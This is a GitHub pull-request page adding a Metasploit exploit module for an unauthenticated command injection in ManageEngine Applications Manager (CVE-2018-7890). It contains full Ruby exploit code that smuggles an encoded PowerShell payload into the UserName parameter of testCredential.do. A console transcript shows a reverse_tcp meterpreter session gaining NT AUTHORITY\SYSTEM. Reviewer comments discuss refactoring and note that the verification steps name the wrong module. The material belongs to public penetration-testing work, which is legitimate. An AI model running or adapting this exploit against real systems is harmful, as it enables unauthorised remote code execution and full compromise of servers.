-
Notifications
You must be signed in to change notification settings - Fork 13.9k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Adding ManageEngine Application Manager RCE #9684
Changes from 4 commits
611b208
4b483e0
2fd9b0b
ec10a82
889c914
b55a750
53eabfc
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
## Vulnerable Application | ||
This module exploits command injection vulnerability in the ManageEngine Application Manager product. An unauthenticated user can execute a operating system command under the context of privileged user. Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials by accessing given system. This endpoint calls a several internal classes and then executes powershell script without validating user supplied parameter when the given system is OfficeSharePointServer. | ||
|
||
**Vulnerable Application Installation Steps** | ||
|
||
Go to following website and download Windows version of the product. It comes with built-in Java and Postgresql so you don't need to install anything else. | ||
[https://www.manageengine.com/products/applications_manager/download.html](https://www.manageengine.com/products/applications_manager/download.html) | ||
|
||
## Verification Steps | ||
|
||
A successful check of the exploit will look like this: | ||
|
||
- [ ] Start `msfconsole` | ||
- [ ] `use exploit/linux/http/securityonion_xplico_exec` | ||
- [ ] Set `RHOST` | ||
- [ ] Set `PAYLOAD windows/meterpreter/reverse_tcp` | ||
- [ ] Set `LHOST` | ||
- [ ] Run `check` | ||
- [ ] **Verify** that you are seeing `The target is vulnerable.` in console. | ||
- [ ] Run `exploit` | ||
- [ ] **Verify** that you are seeing `Triggering the vulnerability` in console. | ||
- [ ] **Verify** that you are seeing `Sending stage (179779 bytes) to <TARGET>` in console. | ||
- [ ] **Verify** that you have your shell. | ||
|
||
## Scenarios | ||
|
||
``` | ||
msf5 > | ||
msf5 > use exploit/windows/http/manageengine_appmanager_exec | ||
msf5 exploit(windows/http/manageengine_appmanager_exec) > set RHOST 12.0.0.192 | ||
RHOST => 12.0.0.192 | ||
msf5 exploit(windows/http/manageengine_appmanager_exec) > set payload windows/meterpreter/reverse_tcp | ||
payload => windows/meterpreter/reverse_tcp | ||
msf5 exploit(windows/http/manageengine_appmanager_exec) > set LHOST 12.0.0.1 | ||
LHOST => 12.0.0.1 | ||
msf5 exploit(windows/http/manageengine_appmanager_exec) > check | ||
[+] 12.0.0.192:9090 The target is vulnerable. | ||
msf5 exploit(windows/http/manageengine_appmanager_exec) > run | ||
|
||
[*] Started reverse TCP handler on 12.0.0.1:4444 | ||
[*] Trigerring the vulnerability | ||
[*] Sending stage (179779 bytes) to 12.0.0.192 | ||
|
||
meterpreter > getuid | ||
Server username: NT AUTHORITY\SYSTEM | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,114 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => "ManageEngine Applications Manager Remote Code Execution", | ||
'Description' => %q( | ||
This module exploits command injection vulnerability in the ManageEngine Application Manager product. | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Should be Applications Manager, not Application Manager (apparently) |
||
An unauthenticated user can execute a operating system command under the context of privileged user. | ||
|
||
Publicly accessible testCredential.do endpoint takes multiple user inputs and validates supplied credentials | ||
by accessing given system. This endpoint calls a several internal classes and then executes powershell script | ||
without validating user supplied parameter when the given system is OfficeSharePointServer. | ||
), | ||
'License' => MSF_LICENSE, | ||
'Author' => | ||
[ | ||
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module | ||
], | ||
'References' => | ||
[ | ||
['CVE', '2018-7890'], | ||
['URL', 'https://pentest.blog/advisory-manageengine-applications-manager-remote-code-execution-sqli-and/'] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'WfsDelay' => 10, | ||
'RPORT' => 9090 | ||
}, | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x22" | ||
}, | ||
'Platform' => ['win'], | ||
'Arch' => [ARCH_X86, ARCH_X64], | ||
'Targets' => [['Automatic', {}]], | ||
'Privileged' => true, | ||
'DisclosureDate' => 'Mar 7 2018', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptString.new('TARGETURI', [true, 'The URI of the application', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Perhaps I missed something, but it looks like the HTTP request in the You could create a new method which takes a Not required, but it's nice to be DRY :) Something like this: def test_credential(username)
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'testCredential.do'),
'vars_post' => {
'method' => 'testCredentialForConfMonitors',
'type' => 'OfficeSharePointServer',
'montype' => 'OfficeSharePointServer',
'isAgentEnabled' => 'NO',
'isAgentAssociated' => 'false',
'displayname' => Rex::Text.rand_text_alpha(rand(10..15)),
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems...
'Version' => '2013',
'Powershell' => 'True', # :-)
'CredSSP' => 'False',
'SPType' => 'SPServer',
'CredentialDetails' => 'nocm',
'Password' => Rex::Text.rand_text_alpha(rand(3..10)),
'UserName' => username
}
)
end
def check
res = test_credential(Rex::Text.rand_text_alpha(rand(3..10)))
unless res
vprint_error('Connection failed')
return CheckCode::Unknown
end
if res.body.include?('Kindly check the credentials and try again')
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end
def exploit
powershell_options = {
encode_final_payload: true,
remove_comspec: true
}
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options)
print_status('Triggering the vulnerability')
test_credential("$(#{p})")
end There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Couldn't agree more. Done^^ |
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'testCredential.do'), | ||
'vars_post' => { | ||
'method' => 'testCredentialForConfMonitors', | ||
'type' => 'OfficeSharePointServer', | ||
'montype' => 'OfficeSharePointServer', | ||
'isAgentEnabled' => 'NO', | ||
'isAgentAssociated' => 'false', | ||
'displayname' => Rex::Text.rand_text_alpha(10), | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Randomization for the win: 'displayname' => Rex::Text.rand_text_alpha(rand(10..15)), |
||
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... | ||
'Version' => '2013', | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Does |
||
'Powershell' => 'True', # :-) | ||
'CredSSP' => 'False', | ||
'SPType' => 'SPServer', | ||
'CredentialDetails' => 'nocm', | ||
'Password' => Rex::Text.rand_text_alpha(3), | ||
'UserName' => Rex::Text.rand_text_alpha(3) | ||
} | ||
) | ||
if res && res.body.include?('Kindly check the credentials and try again') | ||
Exploit::CheckCode::Vulnerable | ||
else | ||
Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
powershell_options = { | ||
encode_final_payload: true, | ||
remove_comspec: true | ||
} | ||
p = cmd_psh_payload(payload.encoded, payload_instance.arch.first, powershell_options) | ||
|
||
print_status('Triggering the vulnerability') | ||
|
||
send_request_cgi( | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Does the server return a response when exploitation is successful, or does triggering the payload cause the request to timeout? If the server returns a response, it might be nice to validate the response and print an appropriate message. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Nope, since this command injection issue a request that exploits the vulnerability will be hanging on. |
||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'testCredential.do'), | ||
'vars_post' => { | ||
'method' => 'testCredentialForConfMonitors', | ||
'type' => 'OfficeSharePointServer', | ||
'montype' => 'OfficeSharePointServer', | ||
'isAgentEnabled' => 'NO', | ||
'isAgentAssociated' => 'false', | ||
'displayname' => Rex::Text.rand_text_alpha(10), | ||
'HostName' => '127.0.0.1', # Try to access random IP address or domain may trigger SIEMs or DLP systems... | ||
'Version' => '2013', | ||
'Powershell' => 'True', # :-) | ||
'CredSSP' => 'False', | ||
'SPType' => 'SPServer', | ||
'CredentialDetails' => 'nocm', | ||
'Password' => Rex::Text.rand_text_alpha(3), | ||
'UserName' => "$(#{p})" | ||
} | ||
) | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These steps are a lie.
Consider:
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ups sorry. I forgot to update from another module.